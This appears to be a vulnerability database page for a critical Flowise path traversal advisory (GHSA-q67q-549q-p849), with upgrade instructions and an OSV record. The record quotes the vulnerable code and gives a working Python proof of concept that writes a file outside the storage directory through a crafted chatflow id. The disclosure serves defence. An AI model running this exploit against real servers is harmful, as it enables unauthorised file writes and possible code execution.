GHSA-q67q-549q-p849: Flowise Flowise Has Arbitrary File Access Vulnerability
CRITICALGHSA-q67q-549q-p849 is a CRITICAL (CVSS 9.8) flowise has arbitrary file access vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise has arbitrary file access due to missing chat flow id validation. Remediation is available by upgrading affected packages to version 3.0.6.
GHSA-q67q-549q-p849 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix GHSA-q67q-549q-p849
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install flowise@3.0.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-q67q-549q-p849, inspect your project dependencies using npm:
npm ls flowise
Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.6), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-q67q-549q-p849 Affected Flowise Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
≥ 2.2.8
< 3.0.6
|
3.0.6
|
References
Frequently Asked Questions
What is GHSA-q67q-549q-p849?
Which Flowise versions are affected?
What version fixes GHSA-q67q-549q-p849?
Is flowise affected?
What is the CVSS score of GHSA-q67q-549q-p849?
What CWE is associated with GHSA-q67q-549q-p849?
How can I check npm dependencies for GHSA-q67q-549q-p849?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q67q-549q-p849",
"modified" : "2025-09-15T20:11:39Z",
"published" : "2025-09-15T20:11:39Z",
"aliases" : [ ],
"summary" : "Flowise has arbitrary file access due to missing chat flow id validation",
"details" : "### Summary\n\nMissing chat flow id validation allows an attacker to access arbitrary file.\n\n### Details\n\nCommit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for `filename` when handling file upload operations to prevent path traversal, and additional validation of `chatflowId` and `chatId` from route `/api/v1/attachments`. In some cases, however, `chatflowId` and `chatId` are not validated to ensure they are UUIDs or numbers, which may lead to security issues.\n\n**Case 1**\n\nWhen creating new chatflow via `/api/v1/chatflows`, function `addBase64FilesToStorage` is called if there exists base64 file data. Although the `filename` is sanitized, the `chatflowid` comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.\n\n```typescript\nexport const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {\n // ...\n } else {\n const dir = path.join(getStoragePath(), chatflowid) // path traversal here\n if (!fs.existsSync(dir)) {\n fs.mkdirSync(dir, { recursive: true })\n }\n\n const splitDataURI = fileBase64.split(',')\n const filename = splitDataURI.pop()?.split(':')[1] ?? ''\n const bf = Buffer.from(splitDataURI.pop() || '', 'base64')\n const sanitizedFilename = _sanitizeFilename(filename)\n\n const filePath = path.join(dir, sanitizedFilename)\n fs.writeFileSync(filePath, bf)\n fileNames.push(sanitizedFilename)\n return 'FILE-STORAGE::' + JSON.stringify(fileNames)\n }\n}\n```\n\n**Case 2**\n\nWhen downloading file via `/api/v1/openai-assistants-file/download` or `/api/v1/get-upload-file`, function `streamStorageFile` is called to retrieve file data from local or cloud bucket. The `chatflowId` and `chatId` are used for file path generation. Take Amazon S3 as an example, its [[documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that `../` will be treated as relative path.\n\nNote that these APIs are in `WHITELIST_URLS`, an attacker may traverse user storage files without authentication.\n\n### PoC\n\nLaunch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir `/tmp` with content 'Hello, World!'.\n\n```python\nimport requests\nimport json\nurl = \"http://localhost:8080/api/v1/chatflows\"\nheaders = {\"x-request-from\": \"internal\"}\nnodedata = {\n \"category\" : \"Document Loaders\",\n \"inputs\" : {\n \"key\" : \"data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn\"\n }\n}\nflownode = {\n \"id\" : \"a\",\n \"data\" : nodedata\n}\nflowdata = {\n \"nodes\" : [flownode],\n \"edges\" : [],\n \"viewport\" : {\n \"x\" : 1,\n \"y\" : 1,\n \"zoom\" : 1\n }\n}\ndata = {\n \"id\" : \"../../../../../tmp\",\n \"name\" : \"name\",\n \"flowData\" : json.dumps(flowdata)\n}\nres = requests.post(url, json=data, headers=headers)\n```\n\n### Impact\n\n1. Arbitrary file read / write\n2. Remote Code Execution\n3. Data loss",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.2.8"
}, {
"fixed" : "3.0.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-09-15T20:11:39Z",
"nvd_published_at" : null
}
}